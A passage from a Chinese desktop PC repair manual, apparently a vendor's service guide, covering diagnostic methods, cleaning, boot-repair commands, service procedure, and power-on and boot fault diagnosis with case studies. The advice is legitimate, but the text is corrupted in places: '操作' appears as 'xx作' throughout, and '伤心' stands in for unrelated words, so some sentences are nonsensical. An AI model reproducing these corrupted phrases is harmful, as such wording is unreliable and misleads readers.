    最后是,在分析判断的过程中,要根据自身已有的知识、经验来进行判断,对于自己不太了解或根本不了解的,一定要先向有经验的同事或你的技术支持工程师咨询,寻求帮助。
    三、 在大多数的电脑维修判断中,必须“先软后硬:
    即从整个维修判断的过程看,总是先判断是否为软件故障,先检查软件问题,当可判软件环境是正常时,如果故障不能消失,再从硬件方面着手检查。
    四、 在维修过程中要分清主次,即“抓主要矛盾“
    在复现故障现象时,有时可能会看到一台故障机不止有一个故障现象,而是有两个或两个以上的故障现象(如:启动过程中无显,但机器也在启动,同时启动完后,有死机的现象等),为时,应该先判断、维修主要的故障现象,当修复后,再维修次要故障现象,有时可能次要故障现象已不需要维修了。

    §1.2 电脑维修的基本方法
    一、观察法
    观察,是维修判断过程中第一要法,它贯穿于整个维修过程中。观察不仅要认真,而且要全面。要观察的内容包括:
    1、 周围的环境;
    2、 硬件环境。包括接插头、座和槽等;
    3、 软件环境;
    4、 用户xx作的习惯、过程
    二、最小系统法
    最小系统是指,从维修判断的角度能使电脑开机或运行的最基本的硬件和软件环境。最小系统有两种形式:
    硬件最小系统:由电源、主板和CPU组成。在这个系统中,没有任何信号线的连接,只有电源到主板的电源连接。在判断过程中是通过声音来判断这一核心组成部分是否可正常工作;
    软件最小系统:由电源、主板、CPU、内存、显示卡/显示器、键盘和硬盘组成。这个最小系统主要用来判断系统是否可完成正常的启动与运行。
    对于软件最小环境,就“软件”有以下几点要说明:
    1、 硬盘中的软件环境,保留着原先的软件环境,只是在分析判断时,根据需要进行隔离如卸载、屏蔽等)。保留原有的软件环境,主要是用来分析判断应用软件方面的问题
    2、 硬盘中的软件环境,只有一个基本的xx作系统环境(可能是卸载掉所有应用,或是重新安装一个干净的xx作系统),然后根据分析判断的需要,加载需要的应用。需要使用一个干净的xx作系统环境,是要判断系统问题、软件冲突或软、硬件间的冲突问题。
    3、 在软件最小系统下,可根据需要添加或更改适当的硬件。如:在判断启动故障时,由于硬盘不能启动,想检查一下能否从其它驱动器启动。这时,可在软件最小系统下加入一个软驱或干脆用软驱替换硬盘,来检查。又如:在判断音视频方面的故障时,应需要在软件最小系统中加入声卡;在判断网络问题时,就应在软件最小系统中加入网卡等。
    最小系统法,主要是要先判断在最基本的软、硬件环境中,系统是否可正常工作。如果不能正常工作,即可判定最基本的软、硬件部件有故障,从而起到故障隔离的作用。
    最小系统法与逐步添加法结合,能较快速地定位发生在其它板软件的故障,提高维修效率。
    三、逐步添加/去除法
    逐步添加法,以最小系统为基础,每次只向系统添加一个部件/设备或软件,来检查故障现象是否消失或发生变化,以此来判断并定位故障部位。
    逐步去除法,正好与逐步添加法的xx作相反。
    逐步添加/去除法一般要与替换法配合,才能较为准确地定位故障部位。
    四、隔离法
    是将可能防碍故障判断的硬件或软件屏蔽起来的一种判断方法。它也可用来将怀疑相互冲突的硬件、软件隔离开以判断故障是否发生变化的一种方法。
    上提到的软硬件屏蔽,对于软件来说,即是停止其运行,或者是卸载;对于硬件来说,是在设备管理器中,禁用、卸载其驱动,或干脆将硬件从系统中去除。
    五、替换法
    替换法是用好的部件去代替可能有故障的部件,以判断故障现象是否消失的一种维修方法。好的部件可以是同型号的,也可能是不同型号的。替换的顺序一般为:
    1、 根据故障的现象或第二部分中的故障类别,来考虑需要进行替换的部件或设备;
    2、 按先简单后复杂的顺序进行替换。如:先内存、CPU,后主板,又如要判断打印故障时,可先考虑打印驱动是否有问题,再考虑打印电缆是否有故障,最后考虑打印机或并口是否有故障等;
    3、 最先考查与怀疑有故障的部件相连接的连接线、信号线等,之后是替换怀疑有故障的部件,再后是替换供电部件,最后是与之相关的其它部件。
    4、 从部件的故障率高低来考虑最先替换的部件。故障率高的部件先进行替换。
    六、比较法
    比较法与替换法类似,即用好的部件与怀疑有故障的部件进行外观、配置、运行现象等方面的比较,也可在两台电脑间进行比较,以判断故障电脑在环境设置,硬件配置方面的不同,从而找出故障部位。
    七、升降温法
    在上门服务过程中,升降温法由于工具的限制,其使用与维修间是不同的。在上门服务中的升温法,可在用户同意的情况下,设法降低电脑的通风能力,伤心电脑自身的发热来升温;降温的方法有:1)一般选择环境温度较低的时段,如一清早或较晚的时间;2)使电脑停机12~24小时以上等方法实现;3)用电风扇对着故障机吹,以加快降温速度。
    八、敲打法
    敲打法一般用在怀疑电脑中的某部件有接触不良的故障时,通过振动、适当的扭曲,甚或用橡胶锤敲打部件或设备的特定部件来使故障复现,从而判断故障部件的一种维修方法。
    九、对电脑产品进行清洁的建议
    有些电脑故障,往往是由于机器内灰尘较多引起的,这就要求我们在维修过程中,注意观察故障机内、外部是否有较多的灰尘,如果是,应该先进行除尘,再进行后续的判断维修。在进行除尘xx作中,以下几个方面要特别注意:
    1、 注意风道的清洁
    2、 注意风扇的清洁
    风扇的清洁过程中,最好在清除其灰尘后,能在风扇轴处,点一点儿钟表油,加强润滑。
    3、 注意接插头、座、槽、板卡金手指部分的清洁
    金手指的清洁,可以用橡皮擦拭金手指部分,或用酒精棉擦拭也可以。
    插头、座、槽的金属引脚上的氧化现象的去除: 一是用酒精擦拭,一是用金属片(如小一字改锥)在金属引脚上轻轻刮擦。
    4、 注意大规模集成电路、元器件等引脚处的清洁
    清洁时,应用小毛刷或吸尘器等除掉灰尘,同时要观察引脚有无虚焊和潮湿的现象,元器件是否有变形、变色或漏液现象。
    5、 注意使用的清洁工具
    清洁用的工具,首先是防静电的。如清洁用的小毛刷,应使用天然材料制成的毛刷,禁用塑料毛刷。其次是如使用金属工具进行清洁时,必须切断电源,且对金属工具进行泄放静电的处理。
    用于清洁的工具包括:小毛刷、皮老虎、吸尘器、抹布、酒精(不可用来擦拭机箱、显示器等的塑料外壳)。
    6、 对于比较潮湿的情况,应想办法使其干燥后再使用。可用的工具如电风扇、电吹风等,也可让其自然风干。
    十、软件调试的几个方法和建议
    1、 xx作系统方面。
    主要的调整内容是xx作系统的启动文件、系统配置参数、组件文件、病毒等。
    修复xx作系统启动文件。
    1) 对于Windows 9x系统,可用SYS命令来修复(要保证MSDOS.SYS的大小在1KB以上),但要求,在修复之前应保证分区参数是正确的。这可使用诸如DiskMap之类的软件实现;
    2) 对于Windows 2000/XP系统,有两种方法——修复启动文件,使用fixboot命令;修复主引导记录,使用fixmbr命令。
    调整xx作系统配置文件。
    A. 对于Windows 9x系统,可用的工具很多,如:Msconfig命令、系统文件检查器、注册表备份和恢复命令(scanreg.exe,它要求在DOS环境下运行。另外如果要用scanreg.exe恢复注册表,最好使用所列出的恢复菜单中的第二个备份文件)等;
    B. 对于Windows 2000系统,可用的工具与Windows 9x相比比较少,但某些调试命令可用Win98中的一些命令(如win98下的Msconfig命令,就可用在windows 2000下);
    C. 对于Windows XP系统,可用的工具主要是Msconfig命令;
    D. 调整电源管理和有关的服务,可以使用的命令是,要“运行”文本框中输入gpedit.msc来进行;
    E. 所有xx作系统的调试,都可通过控制面板、设备管理器、计算机管理器(Windows 9x系统无)来进行系统的调试。
    组件文件(包括.DLL、.VXD等)的修复
    A. 通过添加删除程序来重新安装;
    B. 通过从.CAB文件中提取安装;
    C. 可用系统文件检查器(sfc.exe命令)来修复有错误的文件;
    D. 从好的机器上拷贝覆盖。
    检查系统中的病毒。
    建议使用命令行方式下的病毒查杀软件,并能直接访问诸如NTFS分区。
    2、 设备驱动安装与配置方面。
    主要调整设备驱动程序是否与设备匹配、版本是否合适、相应的设备在驱动程序的作用下能否正常响应。
    A. 最好先由xx作系统自动识别(特别要求的除外,如一些有特别要求的显示卡驱动、声卡驱动、非即插即用设备的驱动等),而后考虑强行安装。这样有利于判断设备的好坏;
    B. 如果有xx作系统自带的驱动,则先使用,仍不能正常或不能满足应用需要,则使用设备自带的驱动;
    C. 更换设备,应先卸载驱动再更换。卸载驱动,可从设备管理器中卸载;再从安全模式下卸载;进而在INF目录中删除;最后通过注册表卸载;
    D. 更新驱动时,如直接升级有问题,须先卸载再更新。
    3、 磁盘状况方面。
    检查磁盘上的分区是否能访问、介质是否有损坏、保存在其上的文件是否完整等。
    可用的调整工具:
    A. DiskMap,方便地找回正确的分区;
    B. Fdisk及Fdisk /MDR,检查分区是否正确及使主引导记录恢复到原始状态;
    C. 当硬盘容量大于64GB时,如果要重新分区或查看分区,要求使用随机附带的磁盘分区软盘中的Fdisk命令。这个命令可用windows Me下的Fdisk命令来代替;
    D. format、Scandisk、厂商提供的磁盘检测程序,检查磁盘介质是否有坏道;
    E. 文件不完整时,要求对不完整的文件先进行改名,再用在“xx作系统方面”中所述的方法重建。
    4、 应用软件方面。
    如应用软件是否与xx作系统或其它应用有兼容性的问题、使用与配置是否与说明手册中所述的相符、应用软件的相关程序、数据等是否完整等;
    5、 BIOS设置方面。
    1) 在必要时应先恢复到最优状态。建议:在维修时先把BIOS恢复到最优状态(一般是出厂时的状态),然后根据应用的需要,逐步设置到合适值。
    2) BIOS刷新不一定要刷新到最新版,有时应考虑降低版本。
    6、 重建系统。
    在硬件配置正确,并得到用户许可时,可通过重建系统的方法来判断xx作系统之类软件故障,在用户不同意的情况下,建议使用自带的硬盘,来进行重建系统的xx作。在这种情况下,最好重建系统后,逐步复原到用户原硬盘的状态,以便判断故障点。
    1) 重建系统,须以一键恢复为主,其次是恢复安装,最后是完全重新安装。恢复安装的方法:
    对于Windows 9x系统,直接从光盘安装,或执行tools\sysrec\pcrestor.bat,即可实现恢复安装。在进行恢复安装时,可能由于win.com的存在而影响安装过程的正常进行,这时,可在Windows目录下,删除win.com后,再重新安装。
    另一种恢复安装,是将根目录下的System.1st改名为System.dat后覆盖掉Windows目录下的同名文件,之后重启即可。但这种方法,不是真正意义上的重新安装,而类似于完全重新安装。
    对于Windows XP或Windows2000系统,直接使用其安装光盘启动,在安装界面中选择修复安装,选择R时会出现两个选项:一是快速修复,对于简单问题用此选择;另一是故障修复台,只要选择正确的安装目录就可启用故障修复台。故障修复台界面类似于DOS界面。
    2) 为保证系统干净,在安装前,执行Fdisk /MBR命令(也可用Clear.com)。必要时,在此之后执行format <驱动器盘符> /u [/s]命令。
    3) 一定要使用随机版的或正版的xx作系统安装介质进行安装。


    第二章 电脑维修步骤与维修xx作注意事项
    §2.1 电脑维修步骤
    对电脑进行维修,应遵循如下步骤:
    一、了解情况
    即在服务前,与用户沟通,了解故障发生前后的情况,进行初步的判断。如果能了解到故障发生前后尽可能详细的情况,将使现场维修效率及判断的准确性得到提高。了解用户的故障与技术标准是否有冲突。
    向用户了解情况,应借助第二部分中相关的分析判断方法,与用户交流。这样不仅能初步判断故障部位,也对准备相应的维修备件有帮助。

    二、复现故障
    即在与用户充分沟通的情况下,确认:
    1. 用户所报修故障现象是否存在,并对所见现象进行初步的判断,确定下一步的xx作;
    2. 是否还有其它故障存在。
    三、判断、维修
    即对所见的故障现象进行判断、定位,找出产生故障的原因,并进行修复的过程。在进行判断维修的过程中,应遵循下面一节“维修判断”中所述的原则、方法、注意事项,及第二、三部分所述内容进行xx作。
    四、检验
    1. 维修后必须进行检验,确认所复现或发现的故障现象解决,且用户的电脑不存在其它可见的故障。电脑整机正常的标准,参见《联想台式电脑整机检验规范》;
    2. 必须按照《XX维修检验确认单》所列内容,进行整机验机,尽可能消除用户未发现的故障,并及时排除之。
    §2.2 电脑维修xx作
    在维修过程中,下列各条款应引起切实的关注和注意。
    一、在进行故障现象复现、维修判断的过程中,应避免故障范围扩大;
    二、在维修时,须查验、核对装箱单及配置;
    三、必须充分地与用户沟通。了解用户的xx作过程、出故障时所进行过的xx作、用户使用电脑的水平等。
    四、维修中第一要注意的就是观察——观察、观察、再观察!!!
    1. 周围环境:电源环境、其它高功率电器、电、磁场状况、机器的布局、网络硬件环境、温湿度、环境的洁净程度;安放电脑的台面是否稳固。周边设备是否存在变形、变色、异味等异常现象;
    2. 硬件环境:机箱内的清洁度、温湿度,部件上的跳接线设置、颜色、形状、气味等,部件或设备间的连接是否正确;有无错误或错接、缺针/断针等现象;用户加装的与机器相连的其它设备等一切可能与机器运行有关的其它硬件设施;
    3. 软件环境:
    A. 系统中加载了何种软件、它们与其它软、硬件间是否有冲突或不匹配的地方;
    B. 除标配软件及设置外,要观察设备、主板及系统等的驱动、补丁是否安装、是否合适;要处理的故障是否为业内公认的BUG或兼容问题;用户加装的其它应用与配置是否合适;
    4. 加电过程中的观察:元器件的温度、异味、是否冒烟等;系统时间是否正确;
    5. 拆装部件时的观察:要有记录部件原始安装状态的好习惯,且要认真观察部件上元器件的形状、颜色、原始的安装状态等情况;
    6. 观察用户的xx作过程和习惯,及是否符合要求等。
    五、在维修前,如果灰尘较多,或怀疑是灰尘引起的,应先除尘
    六、对于自己不熟悉的应用或设备,应在认真阅读用户使用手册或其它相关文档后,才可动手xx作。
    七、平时要多注意通过《技术直通车》、《技术工程信息通报》等下发的技术资料及其他工程师们的经验来积累自己的经验和提高维修水平。
    八、禁止维修工程师为用户安装地线。如用户要安装地线,请用户联系正式电工为其安装。
    九、如果要通过比较法、替换法进行故障判断的话,应先征得用户的同意。
    十、在进行维修判断的过程中,如有可能影响到用户所存储的数据,一定要在做好备份、或保护措施、并征得用户同意后,才可继续进行。
    十一、当出现大批量的相似故障(不仅是可能判断为批量的故障)时,一定要对周围的环境、连接的设备,以及与故障部件相关的其它部件或设备进行认真的检查和记录,以找出引起故障的根本原因。
    十二、随机性故障的处理思路。随机性故障是指:随机性死机、随机性报错、随机性出现不稳定现象。对于这类故障的处理思路应该是:
    1. 慎换硬件,特别是上门服务时。一定要在充分的软件调试和观察后,在一定的分析基础上进行硬件更换。如果没有把握,最好在维修站内进行硬件更换xx作。
    2. 以软件调整为主。调整的内容有:
    1) 设置BIOS为出厂状态(注意BIOS开关位置)
    2) 查杀病毒
    3) 调整电源管理
    4) 调整系统运行环境
    5) 必要时做磁盘整理,包括磁盘碎片整理、无用文件的清理及介质检查(注意,应在检查磁盘分区正常及分区中空余空间足够的情况下进行)。
    6) 确认有无用户自加装的软硬件,如果有,确认其性能的完好性/兼容性。
    7) 与无故障的机器比较、对比。这种对比的一种方法是,在一台配置与故障机相同的无故障机器上,逐个插入故障机中的部件(包括软件),查看无故障机的变化,当在插入某部件后,无故障机出现了与故障机类似的现象,可判该部件有故障。注意这种方式的对比,应做得彻底,以防漏掉可能有两种部件引起同一故障的情况。
    十三、应努力学习相关技术知识、掌握xx作系统的安装、使用方法及配置工具的使用等;理解各配置参数的意义与适用的范围。
    十四、请求支持需要关注的内容
    1. 硬件及配置信息(尽可能详尽)
    2. 软件及配置信息(尽可能详尽)
    3. 周围环境
    4. 完整的故障现象描述。即用户第一次报修时的故障现象,经过维修xx作后故障现象的变化情况。(清晰的描述)
    5. 做过的维修xx作(要详尽)

    §2.3 电脑维修的基本思路
    为帮助维修工程师,顺利找到第二部分中的相关内容,在这里列出基本的判断思路,供参考使用。

    第二部分 常见故障判断
    本部分将计算机从开机一直到关机期间的故障进行分类。每一类的判断、定位过程都是第一部分中“维修判断”一节的有机组成部分,即不论使用什么方法或不论去判断什么内容,这两部分总是相互结合使用的。
    以下各故障类型中所列的故障现象只是众多故障现象中的一部分,对于未列出的故障现象,有的可归类到其中,有的无法归类。因此,本手册只针对已列出的及可归类其中的故障现象提供相应的判断的方法和思路,并提供基本的排除的方法。而对不能归类其中的其它故障现象来说,我们会在今后的工作中不断的收集、整理总结,然后对本《台式电脑维修指导手册》进行丰富。
    第一章 加电类故障
    一、定义举例
    从上电(或复位)到自检完成这一段过程中电脑所发生的故障。
    二、可能的故障现象
    1、 主机不能加电(如:电源风扇不转或转一下即停等)、有时不能加电、开机掉闸、机箱金属部分带电等;
    2、 开机无显,开机报警;
    3、 自检报错或死机、自检过程中所显示的配置与实际不符等;
    4、 反复重启;
    5、 不能进入BIOS、刷新BIOS后死机或报错;CMOS掉电、时钟不准;
    6、 机器噪音大、自动(定时)开机、电源设备问题等其它故障。
    三、可能涉及的部件
    市电环境;电源、主板、CPU、内存、显示卡、其它可能的板卡;BIOS中的设置(可通过放电来回复到出厂状态);开关及开关线、复位按钮及复位线本身的故障。
    四、判断要点/顺序。
    以下的文字叙述部分是对维修判断流程的补充和说明,要结合流程图来阅读。另外,本章只分析加电类的故障,如果在判断中涉及其它类故障,可转入相应故障的判断过程。以下各类同。
    1、 维修前的准备
    1) POST卡;
    2) 万用表;
    3) 试电笔;
    4) CPU负载。
    2、 环境检查
    1) 检查电脑设备:
    A. 周边及电脑设备内外是否有变形、变色、异味等现象;
    B. 环境的温、湿度情况;
    C. 加电后,注意部件、元器件及其它设备是否变形、变色、异味、温度异常等现象发生。
    2) 检查市电情况:
    A. 检查市电电压是否在220V±10%范围内,是否稳定(即是否有经常停电、瞬间停电等现象);
    B. 市电的接线定义是否正确(即,左零右火、不允许用零线作地线用(现象是零地短接)、零线不应有悬空或虚接现象);
    C. 供电线路上是否接有漏电保护器(且必须接地火线上),是否有地线等;
    D. 主机电源线一端是否牢伤心地插在市电插座中,不应有过松或插不到位的现象,另一端是否可伤心在接在主机电源上,不应有过松或插不到位的情况。
    3) 检查电脑内部连接:
    A. 电源开关可否正常的通断,声音清晰,无连键、接触不良现象;
    B. 其它各按钮、开关通断是否正常;
    C. 连接到外部的信号线是否有断路、短路等现象;
    D. 主机电源是否已正确地连接在各主要部件,特别是主板的相应插座中;
    E. 板卡,特别是主板上的跳接线设置是否正确。
    4) 检查部件安装:
    A. 检查机箱内是否有异物造成短路;
    B. 或零部件安装上是否造成短路(如P4CPU风扇在主板背面的支架安装错位造成的短路等);
    C. 通过重新插拔部件(包括CPU、内存),检查故障是否消失(重新插拔前,应该先做除尘和清洁金手指工作,包括插槽)。如果总是通过重新插拔来解决,应检查部件安装时,是否过松、后档板尺寸是否不合适、插座太紧,以致插不到位或被挤出;
    D. 检查内存的安装,要求内存的安装总是从第一个插槽开始顺序安装。如果不是这样,请重新插好。
    5) 检查加电后的现象:
    A. 按下电源开关或复位按钮时,观察各指示灯是否正常闪亮;
    B. 风扇(电源的和CPU的等)的工作情况,不应有不动作或只动作一下即停止的现象;
    C. 注意倾听风扇、驱动器等的电机是否有正常的运转声音或声音是否过大;
    D. 主机能加电,但无显示,应倾听主机能否正常自检(即有自检完成的鸣叫声,且硬盘灯能不断闪烁)若有,先检查显示系统是否有故障,否则检查主机问题;
    E. 对于开机噪音大的问题,应分辨清噪音大的部位,一般情况下,噪音大的部件有风扇、硬盘、光驱和软驱动机械部件。对于风扇,应通过除尘来检查,如果噪音减小,可在风扇轴处滴一些钟表油,以加强润滑。
    3、 故障判断要点
    1) 检查主机电源:
    A. 主机电源在不接负载时,将电源到主板的插头中绿线与黑线直接短接,看能否加电,并用万用表检查是否有电压输出;
    B. 用万用表检查输出的各路电压值是否在规格允许的范围内;
    C. 在接有负载的情况下,用万用表检查输出电源的波动范围是否在超出允许范围;
    D. 对于电源一加电,只动作一下即停止工作的情况,应首先判断电源空载或接在其它机器上是否能正常工作(即检查上面提到的三点);
    E. 如果电脑的供电不是直接从市电来,而是通过稳压设备获得,要注意用户所用的稳压设备是否完好、或是否与我们的产品的电源兼容。
    2) 在开机无显时,用POST卡检查硬件最小系统中的部件是否正常
    A. 查看POST显示的代码是否为正常值(参见《维修工具使用手册》中的代码定义);
    B. 对于POST卡所显示的代码,应检查与之相关的所有部件。如显示的代码与内存有关,就应检查主板和内存;
    C. 倾听在硬件最小系统下,有无报警声音,若无检查的重点应在最小系统中的部件上;
    D. 检查中还应注意的是,当硬件最小系统有报警声时,要求插入无故障的内存和显示卡(集成显示卡除外),若此时没有报警音,且有显示或自检完成的声音,证明硬件最小系统中的部件基本无故障,否则,应主要检查主板;
    E. 在准备更换CPU来检查时,应先使用CPU负载,检查主板的供电电压是否在允许范围内,在电压正常的情况下才可进行CPU更换xx作。如果超出范围,直接更换主板。CPU电压允许值参见《维修工具使用手册》;
    3) 部件的检查:
    A. 如果硬件最小系统中的部件经POST卡检查正常后,要逐步加入其它的板卡及设备,以检查其中哪个部件或设备有问题;
    B. 对于总是通过重新插拔来解决加电故障的部件,应检查部件的后档板尺寸是否不太合适,这可通过去掉后档板检查。
    4) BIOS设置检查:
    A. 通过清CMOS检查故障是否消失;
    B. BIOS中的设置是否与实际的配置不相符(如:磁盘参数、内存类型、CPU参数、显示类型、温度设置等);
    C. 根据需要更新BIOS检查故障是否消失。
    5) 其它方面的检查:
    A. 在接有漏电保护器的环境中,一定要先检查市电插座上的接线是否正确(即按左零右火,上地的连接方法;零地线不可短接;零线不能悬空),再检查漏电保护器是否正确地接在火线上、容量是否过小,接着检查在一路市电线路上所接的设备的数量(特别是电脑的数量——在漏电保护器的动作电流为30mA时,应可接16~20台电脑),最后检查整机设备中有无漏电或漏电流过大的现象;
    B. 检查用户环境中有无地线。在无地线的环境中,触摸主机的金属部分,会有麻手的感觉。这时,如果接地后,机器可正常运行,且麻手现象消失,则属正常现象,不是故障;
    C. 对于不能进BIOS,或不能刷新BIOS的情况,可先考虑主板的故障;
    D. 对于反复重启或关机的情况,除注意市电的环境(如插头是否插好等)外,要注意电源或主板是否有故障;
    E. 系统中是否加载有第三方的开关机控制软件,有应予以卸载。
    五、本类故障的判断流程
    见附录一之(一)。
    六、案例
    案例一:
    问题描述:双子恒星6C/766的机器,主板是精英P6SEP-ME V2.2D,当内存不插在DIMM1时,开机无显示,但机器不报警。
    解决方案:经测试,当DIMM1上不插内存时,即使DIMM2、DIMM3都插上内存,开机也是无显。当DIMM1插上内存时,不管DIMM2、DIMM3上是否插有内存,开机正常。
    查询早期的周报得知,此问题是由于此机型集成的显卡使用的显存是共享物理内存的,而显存所要求的物理内存是要从插在DIMM1上内存中取得,当DIMM1上没有插内存时,集成显卡无法从物理内存中取得显存,故用户开机时无显。

    案例二:
    问题描述:每次计算机开机自检时,系统总会在显示512K Cache的地方停止运行了,是什么原因?
    解决方案:首先既然在显示缓存处死机,必然是该处或其后的部分有问题。记得平常开机,此项显示完后就轮到硬盘启动xx作系统了。因此,可以断定不是高速缓存的问题,就是硬盘的故障。取下硬盘安装到别的电脑上,证实硬盘是好的。这是检查计算机故障最常用的办法——替换排除法。
    现在我们把注意力集中到高速缓存上,进入CMOS设置,禁止L2 Cache,存盘退出,重启机器,电脑就可以正常工作了,可以断定是L2 Cache的问题。
    触摸主板上的高速缓存芯片,发现有些芯片很热,估计就是这儿的问题。再次确认问题所在没错。
    触类旁通:若发现机器总死机,可运行一会后,用手触摸主板上的高速缓存芯片,发现烫手,就可在Cmos中关闭二级缓存,发现是否死机,最后定义故障所在。

    案例三:
    问题描述:用户使用T启天2600 P4 1.6G 12840DSF(特5409)计算机,开机无显示,用户现在咨询如何解决?
    解决方案:检查用户的环境,发现用户机随机附带两块显卡——主板集成一个显卡另外还有一块单独的TNT2 M64 32M显卡,有些客户在刚刚购买电脑时由于对电脑不太熟悉,将显示器信号线接到了主板集成的显卡接头上,这样会导致开机无显,但是此时主机工作正常。
    遇到用户报修开机无显或显示器故障,请提示客户检查环境,若有不正确,提示更正后,问题即可解决。第二章 启动与关闭类故障
    一、定义举例
    与启动、关闭过程有关的故障。启动是指从自检完毕到进入xx作系统应用界面这一过程中发生的问题;关闭系统是指从点击关闭按扭后到电源断开之间的所有过程。
    二、可能的故障现象
    1、 启动过程中死机、报错、黑屏、反复重启等;
    2、 启动过程中报某个文件错误;
    3、 启动过程中,总是执行一些不应该的xx作(如总是磁盘扫描、启动一个不正常的应用程序等);
    4、 只能以安全模式或命令行模式启动;
    5、 登录时失败、报错或死机;
    6、 关闭xx作系统时死机或报错。
    三、可能涉及的部件
    BIOS设置、启动文件、设备驱动程序、xx作系统/应用程序配置文件;电源、磁盘及磁盘驱动器、主板、信号线、CPU、内存、可能的其它板卡。
    四、判断要点/顺序
    1、 维修前的准备
    1) 磁盘数据线;
    2) 万用表;
    3) 查毒软件。
    2、 环境检查
    1) 机器周边及外观检查:
    A. 市电连接是否牢伤心,不应有过松或插不到位的现象;
    B. 主机硬盘指示灯是否正确闪亮,不应有不亮或常亮的现象;
    C. 观察系统是否有异味,元器件的温度是否偏高;
    D. 观察CPU风扇的转速是否不够,或是否过慢或不稳定;
    E. 倾听驱动器工作时是否有异响。
    2) 驱动器连接检查:
    A. 驱动器的电源连接是否正确、牢伤心。驱动器上的电源连接插座是否有虚接的现象;
    B. 驱动器上的跳线设置是否与驱动器连接在电缆上的位置相符;
    C. 驱动器数据电缆是否接错或漏接,规格是否与驱动器的技术规格相符(如:支持DMA66的驱动器,必须使用80芯数据电缆);
    D. 驱动器数据电缆是否有故障(如露出芯线、有死弯或硬痕等),除可通过观察来判断外,也可通过更换一根数据电缆来检查;
    E. 驱动器是否通过其它板卡连接到系统上,或通过其它板卡(如硬盘保护卡,双网隔离卡等)来控制。
    3) 检查其它部件的安装:
    A. 通过重新插拔部件(包括CPU、内存),检查故障是否消失(重新插拔前,应该先做除尘和清洁金手指工作,包括插槽)。如果总是通过重新插拔来解决,应检查部件安装时,是否过松、后档板尺寸是否不合适、插座太紧,以致插不到位或被挤出;
    B. 检查CPU风扇与CPU是否接触良好。最好重新安装一次。
    4) 显示的内容的观察:要注意屏幕报错的内容、死机的位置,以确定故障可能发生的部位。
    3、 故障判断要点
    1) 充分地与用户沟通,了解出现不能启动的过程及用户的xx作;
    2) BIOS设置检查:
    A. 是否为刚更换完不同型号的硬件。如果主板BIOS支持BOOTEasy功能或BIOS防写开关打开,则建议将其关闭,待完成一次完整启动后,再开启;
    B. 是否添加了新硬件。这时应先去除添加的硬件,看故障是否消失,若是,检查添加的硬件是否有故障,或系统中的设置是否正确(通过对比新硬件的使用手册检查);
    C. 检查BIOS中的设置,如:启动顺序、启动磁盘的设备参数等。建议通过清CMOS来恢复;
    D. 检查是否由于BIOS问题(包括设置及功能)引起xx作系统不能正常启动或关闭,可偿试将Windows目录下的BIOS.vxd(或VPBIOSD.vxd)改名为BIOS.old,然后重启,或关闭,若故障消失,则通过修改BIOS设备或更新BIOS来解决,否则与BIOS无关。注意测试完成以后,一定要将其改回原来的名字(注:除Windows 98外,其它xx作系统无此文件);
    E. 在某些特殊情况下,应考虑升级BIOS来检查。如:对于在第一次开机启动后,某些应用或设备不能工作的情况,除检查设备本身的问题外,就可考虑更新BIOS来解决。
    以下检查应在软件最小系统下进行。
    3) 磁盘逻辑检查:
    A. 根据启动过程中的错误提示,相应地检查磁盘上的分区是否正确、分区是否激活、是否格式化;
    B. 直接检查硬盘是否已分区、格式化;
    C. 加入一个其它无故障的驱动器(如软驱或光驱)来检查能否从其它驱动器中启动(若使用软驱,最好使用希捷的检测软盘启动)。若能,进行第3)、4)步的检查,否则进行第5)步的检查;接着、分区是否激活、有无坏道等;
    D. 硬盘上的启动分区是否已激活,其上是否有启动时所用的启动文件或命令;
    E. 检查硬盘驱动器上的启动分区是否可访问,若不能,用相应厂商的磁盘检测程序检查硬盘是否有故障。有故障,更换硬盘;在无故障的情况下,通过初始化硬盘来检测,若故障依然存在,更换硬盘;
    F. 在用其它驱动器也不能启动时,先将硬盘驱动器去除,看是否可启动,若仍不能,应对软件最小系统中的部件进行逐一检查,包括硬盘驱动器和磁盘传输的公共部件——磁盘接口、电源、内存等。若可启动了,最好对硬盘进行一次初始化xx作,若故障不消失,则再更换硬盘;
    G. 如果要对硬盘进行初始化xx作,但用户存有有用数据,建议用户找数据修复公司解决。
    4) xx作系统配置检查:
    A. 对于出现文件错误的提示,应按照在第一部分中提到的相应软件调试方法来修复文件;
    B. 在不能启动的情况,建议进行一次“选择上一次启动”或用scanreg.exe恢复注册表到前期备份的注册表的方法检查故障是否能够消除;
    C. 检查系统中有无第三方程序在运行,或系统中不当的设置或设备驱动引起启动不正常。在这里特别要注意Autoexec.bat和Config.sys文件,应屏蔽这两个文件,检查启动故障是否消失;
    D. 检查启动设置、启动组中的项、注册表中的键值等,是否加载了不必要的程序;
    E. 检查是否存在病毒。要求在一个系统中,只能安装一个防病毒软件;
    F. 必要时,通过一键恢复、恢复安装等方法,检查启动方面的故障;
    G. 当启动中显示不正常时(如黑屏、花屏等),应按显示类故障的判断方法进行检查,但首先要注意显示设备的驱动程序是否正常、显示设置是否正确,最好将显示改变到标准的VGA方式检查。
    5) 硬件部件检查:
    A. 如果启动的驱动器是通过另外的控制卡连接的,请将驱动器直接连接在缺省的驱动器接口(主板上的);
    B. 当在软件最小系统下启动正常后,应逐步回复到原始配置状态,来定位引起不能正常启动的部件;
    C. 要注意检查电源的供电能力,即输出电压是否在允许的范围内,波动范围是否超出允许的范围(参见《维修工具使用手册》);
    D. 驱动器的检查,可参考磁盘类故障的判断方法进行;
    E. 硬件方面的考虑,应从内存开始考虑:使用内存检测程序进行判断内存部分是否有故障,内存安装的位置,应从第一个内存槽开始安装,对于安装的多条内存检查内存规格是否一致、兼容等。有关内存规格请参阅附录二的相关部分。
    6) 对于不能正常关机的现象,应从下列几个方面检查:
    A. 在命令提示符下查看BOOTLOG.TXT文件(在根目录下)。此文件是开机注册文件,它里面记录了系统工作时失败的记录,保存一份系统正常工作时的记录,与出问题后的记录相比较,找出有问题的驱动程序,在WIN.INI SYSTEM.INI 中找到该驱动对应的选项,或在注册表中找到相关联的对应键值,更改或升级该驱动程序,有可能将问题解决;
    B. 升级BIOS到最新版本,注意CMOS的设置(特别是APM、USB、IRQ等);
    C. 检查是否有一些系统的文件损坏或未安装(参阅附录二之(三)的相关内容)
    D. 应用程序引起的问题,关闭启动组中的应用程序,检查关机时的声音程序是否损坏;
    E. 检查是否有某个设备引起无法正常关机,比如网卡、声卡,可通过更新驱动或更换硬件来检查;
    F. 通过安装补丁程序或升级xx作系统进行检查;
    G. 对于Windows 98SE系统的关机问题,请参阅附录二之(三)。其中的一引起论述对于其它Windows系统也有帮助。
    五、本类故障的判断流程
    见附录一之(二)。
    六、案例
    案例一:
